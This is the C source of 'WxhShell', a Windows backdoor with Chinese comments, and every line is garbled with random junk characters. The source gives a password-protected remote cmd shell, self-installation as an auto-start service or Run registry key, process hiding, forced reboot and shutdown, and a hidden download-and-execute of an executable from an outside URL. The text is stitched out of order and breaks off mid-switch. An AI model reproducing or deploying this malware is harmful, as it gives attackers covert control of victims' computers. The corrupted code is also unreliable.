    else { 7u"Q1n(h/  
    closesocket(wsh); %i\rw*f  
    ExitThread(0); CNRSc 4Le  
    } Sd6O?&(  
    break; 7Q!ksp  
    } [7><^?t V  
  // 获取shell f hK<P_}  
  case 's': { ;SXkPs3q  
    CmdShell(wsh); +^9^)Ur|  
    closesocket(wsh); :?f+*  
    ExitThread(0); {e&fBX6;  
    break; B9"d7E#wHF  
  } Sv#MlS>  
  // 退出 N-l`U(Z~P  
  case 'x': { ;y-JR$M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J0Yb_(w  
    CloseIt(wsh); #btz94/~O  
    break; >4ex5  
    } UovN"8W+  
  // 离开 YAXd   
  case 'q': { F(1E@xs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S<(i/5Z+  
    closesocket(wsh); d\qszYP[  
    WSACleanup(); EF&CV{Sw  
    exit(1); iU+SXsXLR4  
    break; ir'<H<t2  
        } /[ m7~B]QE  
  } T ?Om]:j  
  } 7s%D(;W_Mo  
3z0Bg  
  // 提示信息 \2u7>fU!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9z4F/tUq  
} Pac ^=|h<q  
  } h HHR]e5:  
,%Z&*/*Oh  
  return; "L5w]6C4  
} r Hq1%)B  
$l)RMP}  
// shell模块句柄 {#+K+!SvDX  
int CmdShell(SOCKET sock) G9x l-ag+z  
{ iAe"oXK|  
STARTUPINFO si; #TUm&2 +V  
ZeroMemory(&si,sizeof(si)); @|\;#$?XW3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O4`.ohAZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zs^zD;zU  
PROCESS_INFORMATION ProcessInfo; Q=!QCDO(  
char cmdline[]="cmd"; tV4yBe<``  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =0&XdxX  
  return 0; z~Zm1tZs  
} e| C2/U-  
hcU^!mp  
// 自身启动模式 CXn?~m&K  
int StartFromService(void) EE09 Er %\  
{ X,@nD@  
typedef struct @j\;9>I/  
{ ;|T|*0vY[  
  DWORD ExitStatus; #}.{|'L  
  DWORD PebBaseAddress; R;AcAJ;  
  DWORD AffinityMask; euY+jc%  
  DWORD BasePriority; K:XXtG  
  ULONG UniqueProcessId; yq, qS0Fo  
  ULONG InheritedFromUniqueProcessId; &T-:`(  
}   PROCESS_BASIC_INFORMATION; "viZ"/ ~6  
xe OfofC(l  
PROCNTQSIP NtQueryInformationProcess; @/aJi6d"^E  
bHq.3;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j^/<:e c.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >WO;q  
y-@`3hYM@  
  HANDLE             hProcess; }#Up:o]A!  
  PROCESS_BASIC_INFORMATION pbi; n{|j#j  
yo5-x"ze  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /p;OZf]  
  if(NULL == hInst ) return 0; 4Tuh]5  
k'.cl^6Z8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'n{=`e(}cI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (xfy?N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3I'7+?@@l  
`?&C5*P  
  if (!NtQueryInformationProcess) return 0; 1_&W1o  
O|m-[]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IF&edP[V  
  if(!hProcess) return 0; v7j/_;JE;  
Ku6ndc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cl23y}J_?  
c(Xm~ 'jeH  
  CloseHandle(hProcess); .4 NcaMj  
PtPx(R3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xxGQXW  
if(hProcess==NULL) return 0; E0i!|H  
EP4?+"Z  
HMODULE hMod; g:^Hex?Yfd  
char procName[255]; &iuMB0rbu  
unsigned long cbNeeded; Yk{4 3yw  
c~M'O26bW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r"L:Mu  
1"A"AMZf  
  CloseHandle(hProcess); T*k{^=6"!  
s Wj:m)  
if(strstr(procName,"services")) return 1; // 以服务启动 {o'(_.{  
{JQV~rfh`  
  return 0; // 注册表启动 abVEi[nP  
} uf )!SxT  
Ayw {I#"  
// 主模块 Ng&K5Z/  
int StartWxhshell(LPSTR lpCmdLine) d<] eJ{  
{ c8l\1ce?7  
  SOCKET wsl; laCVj6Rk  
BOOL val=TRUE; Zz|et206  
  int port=0; 22d>\u+c  
  struct sockaddr_in door; Yg!fEopLb  
GOCe&?  
  if(wscfg.ws_autoins) Install(); k:U%#rb;  
pcQzvLk  
port=atoi(lpCmdLine); 0CeBU(U+|R  
NljcHe}Qy  
if(port<=0) port=wscfg.ws_port; !{r@ H+Kf  
@ uL4'@Ej  
  WSADATA data; Rs]Y/9F;{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1b7Q-elG  
06af{FXsGb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G`v(4`tA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O2Y1D`&5  
  door.sin_family = AF_INET; 9j5k=IXg#a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y>i Qp/k:  
  door.sin_port = htons(port); %B>>J%  
#3C] "  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /GP:W6:6z6  
closesocket(wsl); LqQ&4I  
return 1; V'N]u (^  
} \ 0F ey9c  
gE&83i"  
  if(listen(wsl,2) == INVALID_SOCKET) { 1A7(s0J8 :  
closesocket(wsl); !&G& ~*.x  
return 1; %Bnn\{Az  
} 0#sf,ja>  
  Wxhshell(wsl); DS< E:'N  
  WSACleanup(); x1+V  
jJkc vC8d  
return 0; 2G/CN"  
@oRo6Y<-  
} qaBL  
DRu#vC  
// 以NT服务方式启动 Gd2t^tc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b9 l%5a  
{ !5zj+N  
DWORD   status = 0; =6, w~|W  
  DWORD   specificError = 0xfffffff; DoEN`K\U  
Cm6%wAzC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $.Qq:(O:6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d-UQc2r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G/Yqvu,2!  
  serviceStatus.dwWin32ExitCode     = 0; # i|pi'I j  
  serviceStatus.dwServiceSpecificExitCode = 0; .gwT?O,  
  serviceStatus.dwCheckPoint       = 0; om0g'Qa  
  serviceStatus.dwWaitHint       = 0; >` |sBx  
H3 |x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w2]]##J  
  if (hServiceStatusHandle==0) return; Kb#Z(C9  
csv;u'  
status = GetLastError(); O1z3(  
  if (status!=NO_ERROR) mm`yu$9gbP  
{ ESY\!X:|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U'xmn$ O  
    serviceStatus.dwCheckPoint       = 0; L8$+%Gvo  
    serviceStatus.dwWaitHint       = 0; m@` NN  
    serviceStatus.dwWin32ExitCode     = status; oe1$;K>.7  
    serviceStatus.dwServiceSpecificExitCode = specificError; \4hB1-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'CjcFP  
    return; LeXkl=CC  
  } Cbr>\;sc2Z  
'_M"yg6d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :&=`xAX-  
  serviceStatus.dwCheckPoint       = 0; VL@eR9}9K  
  serviceStatus.dwWaitHint       = 0; \yo)oIi[p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7,D6RP(b  
} >KCnmi  
FJ V!B&  
// 处理NT服务事件,比如:启动、停止 }woNI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .5YW >PV  
{ {# TZFB  
switch(fdwControl) X2C&q$8  
{ g5hMZPOmP  
case SERVICE_CONTROL_STOP: K2oyHw<mk  
  serviceStatus.dwWin32ExitCode = 0; s#C~HK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 05[k@f$n  
  serviceStatus.dwCheckPoint   = 0; ,=t}|!jx  
  serviceStatus.dwWaitHint     = 0; mRD'@n  
  { _*dUH5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gO]jeO  
  } =7%c*O <  
  return; hT$/B|  
case SERVICE_CONTROL_PAUSE: CoQ<Ky}*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .hytn`+9  
  break; F */J`l  
case SERVICE_CONTROL_CONTINUE: =bl6:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &6#Ft]6~  
  break; {P $sQv  
case SERVICE_CONTROL_INTERROGATE: 5>"X?U}He  
  break; ]w9\q*S]  
}; 8al%F_r]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0X4%Ccs  
} [<A|\d'x  
2VA mL7)  
// 标准应用程序主函数 Jhr3[A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;=E!xfp5U  
{ LHgEb9\Q  
nv2p&-e+  
// 获取操作系统版本 ]='zY3  
OsIsNt=GetOsVer(); D eM/B5qw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Ig3udcY?  
IO]%AL(.;  
  // 从命令行安装 ` @Tl7I\  
  if(strpbrk(lpCmdLine,"iI")) Install();  ,7w[r<7  
m?pm)w  
  // 下载执行文件 <aGfQg|554  
if(wscfg.ws_downexe) { Zdll}nO"E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -_"6jU  
  WinExec(wscfg.ws_filenam,SW_HIDE); nEboet-#D0  
} $"6O92G(hJ  
DmpG35Jk  
if(!OsIsNt) { ^+'\ u;\  
// 如果时win9x,隐藏进程并且设置为注册表启动 B@v"giJgr  
HideProc(); ,5HC &@  
StartWxhshell(lpCmdLine); 1wM~),B8  
} E)utrO R  
else a+ lGN  
  if(StartFromService()) _h8|shyP  
  // 以服务方式启动 ]Geg;[ t  
  StartServiceCtrlDispatcher(DispatchTable); @Xj6h!"R  
else x72T5.  
  // 普通方式启动 $@Kwsoh'  
  StartWxhshell(lpCmdLine); W]= $0'  
uQ'Izdm  
return 0; )xj!7:n)  
}  ]pP:  
UKBaGX:v  
&5o ln@YL  
!f!HVna  
=========================================== o!>h Q#h  
^ woCwW8n  
tunjV1 ,]  
Z@{e\sZ)  
d\A!5/LG  
),]XN#jp(u  
" g|rbkK%SoE  
kKEs >a  
#include <stdio.h> s2ixiv=  
#include <string.h> c&a.<e3mL  
#include <windows.h> b?{\t;  
#include <winsock2.h> < k?jt  
#include <winsvc.h> ?kKr/f4N  
#include <urlmon.h> U>=& 2Z2?  
Z_}[hz$  
#pragma comment (lib, "Ws2_32.lib") X|Z2"*;b`  
#pragma comment (lib, "urlmon.lib") #Qnl,lf  
oVYW '~OID  
#define MAX_USER   100 // 最大客户端连接数 , UiA?7k  
#define BUF_SOCK   200 // sock buffer #Z>EX?VS:  
#define KEY_BUFF   255 // 输入 buffer u[G`_Y{=EM  
B #zU'G*Y  
#define REBOOT     0   // 重启 TZYz`l+v  
#define SHUTDOWN   1   // 关机 l0-zu6i w  
mel(C1b"j/  
#define DEF_PORT   5000 // 监听端口 t2 0Es  
$K}Y  
#define REG_LEN     16   // 注册表键长度 -N~eb^3[c  
#define SVC_LEN     80   // NT服务名长度 3C7}V{?  
J2d 3&6  
// 从dll定义API T.x"a$AU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HHcWyu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oQ"J>`',  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~|5B   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #<EMG|&(  
1<TB{}b Z  
// wxhshell配置信息 /<-@8CC<  
struct WSCFG { @dx$&;w  
  int ws_port;         // 监听端口 C])b 3tM,7  
  char ws_passstr[REG_LEN]; // 口令 \1R<GBC4  
  int ws_autoins;       // 安装标记, 1=yes 0=no J.^%VnrFO9  
  char ws_regname[REG_LEN]; // 注册表键名 moT*r?l  
  char ws_svcname[REG_LEN]; // 服务名 mO(A'p "b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &h_do8R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g:]X '%Ub  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BA(PWX`H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lZf=#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1K&l}/zUl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q6a7o=BP]  
D +Ui1h-  
}; w:+wx/\  
Ti!<{>  
// default Wxhshell configuration g6p:1;Evf  
struct WSCFG wscfg={DEF_PORT, n 0rAOkW  
    "xuhuanlingzhe", '&42E[0P  
    1, K! I]0!:  
    "Wxhshell", `D~wY^q{  
    "Wxhshell",  "yA=Tw  
            "WxhShell Service", !aQQq[  
    "Wrsky Windows CmdShell Service", X8Y)5,`s  
    "Please Input Your Password: ", ! uX0G4  
  1, .Qz412  
  "http://www.wrsky.com/wxhshell.exe", Wd<|DmSy  
  "Wxhshell.exe" .qAlPe L:  
    }; $G}!eV 6  
d:SLyFD$q  
// 消息定义模块 m(o^9R_=^9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "-afHXED  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (HD8Mm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uXkc07 r'  
char *msg_ws_ext="\n\rExit."; F\IJim-Rh  
char *msg_ws_end="\n\rQuit."; 5%1a!M M M  
char *msg_ws_boot="\n\rReboot..."; }I>h<O  
char *msg_ws_poff="\n\rShutdown..."; b^q8s4(   
char *msg_ws_down="\n\rSave to "; i}E&mv'  
+fRABY5C  
char *msg_ws_err="\n\rErr!"; Wi%e9r{hU  
char *msg_ws_ok="\n\rOK!"; rS&"UH?c7  
`m7w%J.>n  
char ExeFile[MAX_PATH]; ~H~iKl}|7  
int nUser = 0; [,86||^  
HANDLE handles[MAX_USER]; dDxb}d x8  
int OsIsNt; 5g\>x;cc  
@4xV3Xkf&C  
SERVICE_STATUS       serviceStatus; .bloaeu-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :Cdqj0O3u  
 J*FUJT  
// 函数声明 EPu-oE=HW4  
int Install(void); y13Y,cz~B  
int Uninstall(void); 5[5|_H+0  
int DownloadFile(char *sURL, SOCKET wsh); 0LD$"0v/C3  
int Boot(int flag); L=#nnj-  
void HideProc(void); = iXHu *g  
int GetOsVer(void); wJMk%N~R:  
int Wxhshell(SOCKET wsl); }eq*dr1`  
void TalkWithClient(void *cs); 'Tbdo >y  
int CmdShell(SOCKET sock); T;`2t;  
int StartFromService(void); 9^<Y~rkm  
int StartWxhshell(LPSTR lpCmdLine); /*kc|V  
i2&I<:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J@lQzRqRb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "eG@F  
0Q4i<4 XW  
// 数据结构和表定义 7Adg;  
SERVICE_TABLE_ENTRY DispatchTable[] = U6x$R O!  
{ o>i@2_r\&H  
{wscfg.ws_svcname, NTServiceMain},  TnXx;v  
{NULL, NULL} (mOL<h[)IP  
}; rJ=r_v  
+L U.QI'  
// 自我安装 -Wm'@4bH  
int Install(void) lv!8)GX|  
{ V7(-<})8  
  char svExeFile[MAX_PATH]; wS+ekt5  
  HKEY key; pgipT#_K  
  strcpy(svExeFile,ExeFile); ?(R !BB  
A!uO7".E  
// 如果是win9x系统,修改注册表设为自启动 Bj*\)lG<  
if(!OsIsNt) { qac8zt#2 C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {v>8Kp7_R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GJTakhj3  
  RegCloseKey(key); `W9~u: F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f[fH1cu&`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kv ~'*A)d  
  RegCloseKey(key); 57( 5+Zme  
  return 0; =lZtI6tZ  
    } x +]ek  
  } =Vat2'>+  
} /mG-g%gE  
else { Y?#aUQc  
u8r<B4k  
// 如果是NT以上系统,安装为系统服务 B]#^&89wG)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F_d>@-<  
if (schSCManager!=0) WG]`Sy  
{ q{CD:I:-  
  SC_HANDLE schService = CreateService U%r|hn3  
  ( !%Bhg?  
  schSCManager, <i~=-Z(  
  wscfg.ws_svcname, !D|c2  
  wscfg.ws_svcdisp, 6]NaP_\0  
  SERVICE_ALL_ACCESS, rd1EA|T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3-v&ktD&N'  
  SERVICE_AUTO_START, d J.up*aR  
  SERVICE_ERROR_NORMAL, P{+,?X\  
  svExeFile,  WJTc/  
  NULL, BT^HlW<  
  NULL, y&L Lx[8 ^  
  NULL, Fk`|?pQm  
  NULL, a3J' c  
  NULL `MC5_SG 1  
  ); 3<O=,F  
  if (schService!=0) jp880}  
  { Rrw6\iO  
  CloseServiceHandle(schService); 8DkZ @}  
  CloseServiceHandle(schSCManager); o3cE.YUF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PS$g *x  
  strcat(svExeFile,wscfg.ws_svcname); 0iI|eE o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M3!4,_!~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'l $ViNq;  
  RegCloseKey(key); '37 <+N  
  return 0; 'OI(MuSn  
    } UK5u"@T  
  } Vy7 )_D  
  CloseServiceHandle(schSCManager); 45Lzq6  
} oq9gFJG(  
} &G)/i*  
nSp OTQ  
return 1; V;d<S@$  
} U8OVn(qV  
$CDRIn50  
// 自我卸载 3?Fe( !@  
int Uninstall(void) -unQ 4G  
{  %m##i  
  HKEY key; $6]1T>  
_0o65?F  
if(!OsIsNt) { [L=M=;{4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @k9n0Qe|F  
  RegDeleteValue(key,wscfg.ws_regname); z:oi @q  
  RegCloseKey(key); n{(,r'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #'4Psz  
  RegDeleteValue(key,wscfg.ws_regname); !.{"Ttn;s  
  RegCloseKey(key); 7Qd boEa  
  return 0; _'Rg7zHTp-  
  } -ND1+`yD  
} !@>q^_Gez  
} nCDG PzJ  
else { D<'G\#n3I=  
C6A!JegU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?{%"v\w  
if (schSCManager!=0) 'HJ<"<  
{ ]JQ}9"p=5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M44$E4a20  
  if (schService!=0) Ym?VF{e,  
  { 0[p"8+x  
  if(DeleteService(schService)!=0) { N<XMSt  
  CloseServiceHandle(schService); vG:S(/\>  
  CloseServiceHandle(schSCManager); V;"Rp-`^  
  return 0; !b?cY{  
  } K!(hj '0.  
  CloseServiceHandle(schService); 9^E!2CJ  
  } ^qLesP#   
  CloseServiceHandle(schSCManager); "~q~)T1Z  
} iL|5}x5\  
} tA^CuJR  
l[^0Ik-G  
return 1; Q_`EKz;N{  
} O~|Y#T  
xy]oj  
// 从指定url下载文件 z.;!Pj  
int DownloadFile(char *sURL, SOCKET wsh) r<B pX["  
{ &q +l5L"  
  HRESULT hr; @w(X}q1  
char seps[]= "/"; =7F?'&LC  
char *token; C(vQR~_  
char *file; Ro=dgQ0:t  
char myURL[MAX_PATH]; %$N,6}n  
char myFILE[MAX_PATH]; ?3gf)g=  
 v> s,*  
strcpy(myURL,sURL); |>b;M ,`OO  
  token=strtok(myURL,seps); Cx&l0ZXHEX  
  while(token!=NULL) EY0,Q {  
  { 84coi  
    file=token; e?pQuF~  
  token=strtok(NULL,seps); vj|#M/3>  
  } qL5~Wr m-W  
3`;1;T2$B  
GetCurrentDirectory(MAX_PATH,myFILE); (9b%'@A@m  
strcat(myFILE, "\\"); zU'7x U-  
strcat(myFILE, file); Y]!&, e,  
  send(wsh,myFILE,strlen(myFILE),0); .\ :MB7p  
send(wsh,"...",3,0); tAkv'.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JAy-N bb\  
  if(hr==S_OK) `3*QKi$  
return 0; TW}].A_-  
else lYmxd8  
return 1; `VF_rC[?  
tJ .Ln  
} <sSH^J4QqX  
7g:Lj,Z4L  
// 系统电源模块 J> "qeR /  
int Boot(int flag) <d O ~;  
{ p0PK-e`@:  
  HANDLE hToken; K+ ~1z>&  
  TOKEN_PRIVILEGES tkp; @>&b&uj7T  
={51fr/C%  
  if(OsIsNt) { s>%.bAxc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G cB<i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9@}5FoX"  
    tkp.PrivilegeCount = 1; dH'02[;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B>c2 *+Bk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5F!i%{XQvm  
if(flag==REBOOT) { C~pQJ@bF0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ai)>ot  
  return 0; -2'+GO7G  
} %:j`%F;R  
else { cP\ZeG#<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) I(9qt>Y  
  return 0; K_k'#j~*?  
} HD3WsIim*  
  } YW"uC\kg|  
  else { \.>7w 1p  
if(flag==REBOOT) { 4iZg2"[D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7]ySj<1  
  return 0; /qMiv7m~Q  
} f'*/IG  
else { F_I!qcEQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CIf@G>e-  
  return 0; YV} "#  
} r4<As`&  
} !b&+2y2i[W  
4* I XBi7%  
return 1; h<bhH=6~  
} ~gHn>]S0  
IZ iS3  
// win9x进程隐藏模块 G/#m. =t  
void HideProc(void) Vbe@S?u-  
{ j@Pd" Z9  
7GS 4gSd3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1hSV/%v_  
  if ( hKernel != NULL ) Z>3m-:-e  
  { (nXnP{yb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^Wn+G8n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jatlv/,  
    FreeLibrary(hKernel); )y i~p  
  } LbYIRX  
[9V}>kS)  
return; B#+n$5#FK  
} z30 mk  
EUVD)+it  
// 获取操作系统版本 :U/]*0b  
int GetOsVer(void) #Ma:Av/ )  
{ !0P:G#o-$  
  OSVERSIONINFO winfo; w%..*+P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JYmYX-  
  GetVersionEx(&winfo); '.<c[Mp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cd=|P?B i  
  return 1; g'{?j~g  
  else Ryh 0r  
  return 0; (:O6sTx-hE  
} <&gs)BY  
T>7N "C  
// 客户端句柄模块 m{$}u@a  
int Wxhshell(SOCKET wsl) {`e-%<  
{ }q'IY:r  
  SOCKET wsh; U OGjil{.  
  struct sockaddr_in client; v*FbvrY  
  DWORD myID; vLBuE  
OU}eTc(FeC  
  while(nUser<MAX_USER) DVMdRfA  
{ _0FMwC#DY  
  int nSize=sizeof(client); <m\<yZ2aa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *wY+yoj  
  if(wsh==INVALID_SOCKET) return 1; #:P$a%V  
nnvS.s`O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !]Qk?T~9-  
if(handles[nUser]==0) B~| ]gd  
  closesocket(wsh); R9Wr?  
else #5kclu%L$  
  nUser++; Gqc6]{  
  } oylQCbT   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :zq Un&k&  
5f?GSHA}  
  return 0; *W`7JL,  
} uv8k ea .(  
u[PG/ploc  
// 关闭 socket aXG|IN5 *m  
void CloseIt(SOCKET wsh) i+_=7(e  
{ "Da-e\yA  
closesocket(wsh); VzIZT{  
nUser--; HY1K(T  
ExitThread(0); 1]5k l J  
} x}Lj|U$r<X  
< W`gfpzO  
// 客户端请求句柄 pL} F{G.  
void TalkWithClient(void *cs) g|->W]q@;  
{  8y  
*o\AP([@  
  SOCKET wsh=(SOCKET)cs; 9S[.ESI{>  
  char pwd[SVC_LEN]; a5saN5)H  
  char cmd[KEY_BUFF]; { dh,sbl  
char chr[1]; H&%oHyK  
int i,j; TwVkI<e0s?  
e`H>}O/ai  
  while (nUser < MAX_USER) { O[eU{ ;P  
X }i2qv  
if(wscfg.ws_passstr) { KdYR?rY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9I2&Vx=DSt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0#Pa;(  
  //ZeroMemory(pwd,KEY_BUFF); .VNz( s  
      i=0; , V,Q(!$F  
  while(i<SVC_LEN) { TBQ68o  
D`!BjhlW  
  // 设置超时 &JKQH  
  fd_set FdRead; doe3V-if  
  struct timeval TimeOut; `OgT"FdL!  
  FD_ZERO(&FdRead); <#57q%  
  FD_SET(wsh,&FdRead); X%znNx  
  TimeOut.tv_sec=8; CGlEc  
  TimeOut.tv_usec=0;  s!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &A.0(s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lMh>eX  
wIR"!C>LE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); reArXmU<u  
  pwd=chr[0]; !iNwJ|0  
  if(chr[0]==0xd || chr[0]==0xa) { C4d'z(<  
  pwd=0; CLe{9-o  
  break; l0URJRK{*  
  } 4X7J~  
  i++; a#i|)[  
    } >5Lp;  
zh0T3U0D  
  // 如果是非法用户,关闭 socket U1Fo #L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4e.19H9  
} E`(=n(Qu  
KS$"Re$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _?cum ~A@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )g^qgxnnV  
oqysfLJ  
while(1) { q+oc^FD?@  
8! !h6dQgI  
  ZeroMemory(cmd,KEY_BUFF); )*XWe|H_  
?PTXgIC  
      // 自动支持客户端 telnet标准   ILl~f\xG)  
  j=0; S ~h*U2  
  while(j<KEY_BUFF) { nK+ke)'Zv=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,ayJgAD  
  cmd[j]=chr[0]; RXcN<Y&  
  if(chr[0]==0xa || chr[0]==0xd) { !G[%; d  
  cmd[j]=0; \,X)!%6kZ  
  break; !9YCuHj!p  
  } m a@V>*u  
  j++; #qF 1z}L(  
    } =Hn--DEMg  
/3^XJb$Sa  
  // 下载文件 .I_<\h7  
  if(strstr(cmd,"http://")) { 5p}j{f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _>;MQ)Km~  
  if(DownloadFile(cmd,wsh)) 1 hFh F^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1L'Q;?&2H,  
  else 3RGmmX"?G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); irq{ 21  
  } 3h=kn@I  
  else { 6)?u8K5%r  
Jq(;BJ90R  
    switch(cmd[0]) { 5Rs#{9YE  
  N[\J#x!U  
